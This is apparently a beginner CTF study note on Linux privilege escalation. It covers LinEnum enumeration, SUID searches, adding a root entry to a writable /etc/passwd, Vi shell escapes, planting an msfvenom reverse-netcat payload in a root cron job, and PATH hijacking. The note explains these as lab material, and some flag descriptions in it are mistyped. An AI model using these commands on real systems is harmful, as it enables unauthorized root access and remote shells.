10. Linux Privesc

Tenth section in Complete Beginner learning path.

Introduction

There are two main privilege escalation variants: horizontal and vertical.

Horizontal privilege escalation is where you reach over the system you are currently in by taking over different users on the same privilege level. For example, hijacking another normal user when you are logged in as a normal user. This allows you to inherit files from different users, this can be used to gain access to other users who may have files which have SUID bits on them to get super user access.

Vertical privilege escalation is where you attempt to gain higher privileges with an existing compromised account. This might mean hijacking an account with admin or root access.

LinEnum

LinEnum can be downloaded here.

To get LinEnum on a target machine, you can run python3 -m http.server 8000 from the directory LinEnum is saved, and then use wget [IP_ADDR]/LinEnum.sh on the target. Then you need to make it executable using chmod +x LinEnum.sh. If this is not possible, you could also paste the raw code into Vi or Nano, then save it with the .sh extension. Again, you will need to make this executable.

LinEnum can be run using ./LinEnum.sh. The output this gives is broken down into a few different sections:

• Kernel : shows kernel info.

• Can we read/write sensitive files : shows world-writeable files, this allows you to check for misconfigurations

• SUID files : shows SUID bit files, allows a file to run as root (if root is the owner)

• Crontab Contents : shows scheduled cron jobs

SUID/GUID Files

Maximum privileges on Linux appear as "rwx-rwx-rwx" (r: read, w: write, x: execute). This appears in terminal like:

Users	Group	Others
rwx	rwx	rwx
421	421	421

The max number of bits that can be set for each group is 7 (a combination of 4+2+1 for read, write, execute). For example, permissions set using chmod 755 would be rwxr-xr-x. When special permission is given to a user it becomes SUID or SGID. When extra bit "4" is set to user, it becomes SUID (set user ID), and when bit "2" is set to group it becomes SGID (Set group ID). When looking for these you should look out for:

• SUID : rws-rwx-rwx

• GUID : rwx-rws-rwx

To search for SUID binaries manually we can use:

find / -perm -u=s -type f 2>/dev/null

• find: initiates find command

• /: searches the whole system

• -perm: searches for user with specific permissions

• -us=s: any permission bits mode are set for file

• -type f: only search for files

• >2/dev/null: suppress errors

Exploiting Writable /etc/passwd

The /etc/passwd file stores essential info which is required during login, the /etc/passwd is a plaintext file. It lists system accounts, giving info like user ID, group ID, home directory, shell and more.

The /etc/passwd file should have general read permission as its used by many command utilities, however, it should only be writable for root/super user. The file contains one entry per line for each user account of the system. All fields are separated by a ":" symbol. A total of seven files like:

test:x:0:0:root:/root:/bin/bash

These fields from left to right are:

1. Username: used when user logs in, between 1 and 32 chars.

2. Password: an x character indicates an encrypted password is stored in /etc/shadow. You need to use the passwd command to compute the hash of a password typed at CLI or update the hash of a password in /etc/shadow. In this case, the password hash is stored as an "x".

3. User ID (UID): each user is assigned a user ID, UID 0 is reserved for root and UIDs 1-99 are reserved for other predefined accounts. UIDs 100-999 are reserved for other admin/system accounts.

4. Group ID (GID): primary group ID (stored in /etc/group).

5. User ID Info: comment field, used to add extra info like a name or number.

6. Home Directory: absolute path to the users home directory when they log in.

7. Command/shell: absolute path of a command or shell, typically this is a shell but it does not have to be.

If /etc/passwd is writable we can simply write a new line entry using this formula and make a new user, we add our own password hash of choice, and set the UID & GID to 0 for root. We can create a compliant password hash using:

openssl passwd -1 -salt [salt] [password]

Escaping Vi

Each time you access an account in a CTF, you should use sudo -l to see which commands you can run as super user on that account. If a misconfigured binary is encountered during enumeration you can use GTFOBins to find out how they can be exploited. This is a list of Unix binaries that can be exploited to bypass security restrictions.

If Vi can be ran as sudo, you can enter :!sh and press enter to open a shell as root.

Exploiting Crontab

We can use cat /etc/crontab to see what cron jobs are running or scheduled to run. This can be exploited in situations where a file that we can write to is being automatically run as root. For example, we could write the payload acquired from:

msfvenom -p cmd/unix/reverse_netcat lhost=[IP] lport=[PORT] R

To a file being run as root, then all we would need to do is start a listener on the same port and wait for the cron job to run the file we wrote our payload to.

Exploiting PATH Variable

The PATH variable specifies directories which hold executable programs, when the user runs any command it searches for executable files using the PATH variable. If we have an SUID binary running a basic process like "ps", we can't exploit this by giving it an argument for command injection. Instead, we can re-write the PATH variable to point to a location we choose, when the SUID calls the system to run an executable, it runs one we wrote instead.

If we create a command inside /tmp to open a bash shell when "ls" is run, it would look like:

echo "/bin/bash" > ls

We then make it executable with chmod +x ls and change the PATH variable to point to the directory we stored the command in using:

export PATH=/tmp:$PATH

Now, when we run "ls", it spawns a bash shell. If we had a script running "ls" as root, we could run it to become root.